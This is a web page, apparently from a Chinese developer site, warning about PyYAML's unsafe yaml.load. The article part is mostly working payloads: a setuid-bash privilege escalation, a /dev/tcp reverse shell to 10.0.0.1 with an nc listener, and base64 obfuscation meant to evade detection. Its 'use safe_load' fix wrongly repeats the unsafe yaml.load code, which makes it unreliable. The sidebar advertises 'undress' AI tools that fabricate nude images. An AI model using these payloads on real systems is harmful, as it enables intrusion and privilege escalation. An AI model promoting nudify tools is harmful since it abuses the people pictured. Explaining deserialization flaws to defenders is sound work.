首页 后端开发 Python教程 在 Python 中使用 YAML 时要小心!可能存在安全漏洞

在 Python 中使用 YAML 时要小心!可能存在安全漏洞

Jan 03, 2025 pm 10:15 PM

Be Careful When Using YAML in Python! There May Be Security Vulnerabilities

Python 中的 YAML(YAML 不是标记语言)库已被确定存在允许在特定条件下执行任意命令的漏洞。该漏洞是由于使用 yaml.load 函数而未指定安全加载程序而引起的。默认情况下,yaml.load 可以执行任意 Python 对象,这为恶意负载创建了攻击面。

通过任意命令执行进行利用

根本风险在于反序列化过程。当 YAML 文档包含恶意负载时,yaml.load 会处理嵌入的指令,可能导致代码执行。例如,考虑以下代码片段:

import yaml

filename = "example.yml"
data = open(filename, 'r').read()
yaml.load(data)  # Unsafe usage
登录后复制
登录后复制

这里,yaml.load 函数不受限制地解析 example.yml,如果 YAML 内容包含不安全指令,则该函数很容易受到攻击。典型的漏洞利用负载可以被设计来执行任意系统命令。

有效负载示例

import yaml
from yaml import Loader, UnsafeLoader

# Malicious payload
payload = b'!!python/object/new:os.system ["cp `which bash` /tmp/bash;chown root /tmp/bash;chmod u+sx /tmp/bash"]'

# Exploitation
yaml.load(payload)
yaml.load(payload, Loader=Loader)
yaml.load(payload, Loader=UnsafeLoader)
登录后复制

每个调用都会处理有效负载,从而在 /tmp/bash 中创建特权可执行文件。然后可以使用提升的权限执行该二进制文件:

/tmp/bash -p
登录后复制

这表明,如果在权限配置错误或存在其他弱点的系统上利用该漏洞,则可能会出现权限提升的可能性。

反向 Shell 攻击

一个特别阴险的用例是利用该漏洞进行反向 shell。这使得攻击者能够远程访问目标计算机。该过程涉及在攻击者的计算机上启动侦听器并制作旨在建立反向连接的 YAML 文档。

在攻击者的机器上,启动 Netcat 监听器:

nc -lvnp 1234
登录后复制

在目标系统上,以 root 身份执行以下 Python 脚本:

import yaml

# Reverse shell payload
data = '!!python/object/new:os.system ["bash -c \"bash -i >& /dev/tcp/10.0.0.1/1234 0>&1\""]'
yaml.load(data)  # Executes the reverse shell
登录后复制

此有效负载指示目标计算机连接回攻击者的侦听器,提供具有执行进程权限的完全交互式 shell。

用于混淆的 Base64 编码

要绕过基本的安全控制或过滤器,有效负载可以进行 Base64 编码。此方法添加了一层混淆,可能会逃避静态分析工具的检测。

例子

from base64 import b64decode
import yaml

# Base64-encoded payload
encoded_payload = b"ISFweXRa...YXNoIl0="  # Truncated for brevity
payload = b64decode(encoded_payload)

# Execute the payload
yaml.load(payload)
登录后复制

缓解技术

专业人员必须采用严格的编码实践来消除此类漏洞。建议的缓解措施包括:

  1. 使用安全加载器:将 yaml.load 替换为 yaml.safe_load,这样可以防止执行任意对象。

    import yaml
    
    filename = "example.yml"
    data = open(filename, 'r').read()
    yaml.load(data)  # Unsafe usage
    
    登录后复制
    登录后复制
  2. 限制输入源:确保 YAML 输入经过净化并且仅来自可信来源。

  3. 应用静态分析:使用工具扫描代码库是否存在不安全的 yaml.load 调用。

  4. 环境强化:限制系统权限以最大程度地减少利用的影响。例如,使用容器化环境限制了攻击者提升权限的能力。


YAML 库的默认行为体现了与 Python 等动态类型语言中的反序列化相关的风险。利用此漏洞所需的复杂程度极低,因此它成为安全应用程序开发的高优先级问题。采用安全的编码实践以及强大的输入验证和运行时保护措施对于有效减轻这些风险至关重要。

以上是在 Python 中使用 YAML 时要小心!可能存在安全漏洞的详细内容。更多信息请关注PHP中文网其他相关文章!

本站声明
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn

热AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover

AI Clothes Remover

用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool

Undress AI Tool

免费脱衣服图片

Clothoff.io

Clothoff.io

AI脱衣机

Video Face Swap

Video Face Swap

使用我们完全免费的人工智能换脸工具轻松在任何视频中换脸!

热工具

记事本++7.3.1

记事本++7.3.1

好用且免费的代码编辑器

SublimeText3汉化版

SublimeText3汉化版

中文版,非常好用

禅工作室 13.0.1

禅工作室 13.0.1

功能强大的PHP集成开发环境

Dreamweaver CS6

Dreamweaver CS6

视觉化网页开发工具

SublimeText3 Mac版

SublimeText3 Mac版

神级代码编辑软件(SublimeText3)

如何解决Linux终端中查看Python版本时遇到的权限问题? 如何解决Linux终端中查看Python版本时遇到的权限问题? Apr 01, 2025 pm 05:09 PM

Linux终端中查看Python版本时遇到权限问题的解决方法当你在Linux终端中尝试查看Python的版本时,输入python...

如何在使用 Fiddler Everywhere 进行中间人读取时避免被浏览器检测到? 如何在使用 Fiddler Everywhere 进行中间人读取时避免被浏览器检测到? Apr 02, 2025 am 07:15 AM

使用FiddlerEverywhere进行中间人读取时如何避免被检测到当你使用FiddlerEverywhere...

在Python中如何高效地将一个DataFrame的整列复制到另一个结构不同的DataFrame中? 在Python中如何高效地将一个DataFrame的整列复制到另一个结构不同的DataFrame中? Apr 01, 2025 pm 11:15 PM

在使用Python的pandas库时,如何在两个结构不同的DataFrame之间进行整列复制是一个常见的问题。假设我们有两个Dat...

Uvicorn是如何在没有serve_forever()的情况下持续监听HTTP请求的? Uvicorn是如何在没有serve_forever()的情况下持续监听HTTP请求的? Apr 01, 2025 pm 10:51 PM

Uvicorn是如何持续监听HTTP请求的?Uvicorn是一个基于ASGI的轻量级Web服务器,其核心功能之一便是监听HTTP请求并进�...

在Linux终端中使用python --version命令时如何解决权限问题? 在Linux终端中使用python --version命令时如何解决权限问题? Apr 02, 2025 am 06:36 AM

Linux终端中使用python...

如何在10小时内通过项目和问题驱动的方式教计算机小白编程基础? 如何在10小时内通过项目和问题驱动的方式教计算机小白编程基础? Apr 02, 2025 am 07:18 AM

如何在10小时内教计算机小白编程基础?如果你只有10个小时来教计算机小白一些编程知识,你会选择教些什么�...

如何绕过Investing.com的反爬虫机制获取新闻数据? 如何绕过Investing.com的反爬虫机制获取新闻数据? Apr 02, 2025 am 07:03 AM

攻克Investing.com的反爬虫策略许多人尝试爬取Investing.com(https://cn.investing.com/news/latest-news)的新闻数据时,常常�...

See all articles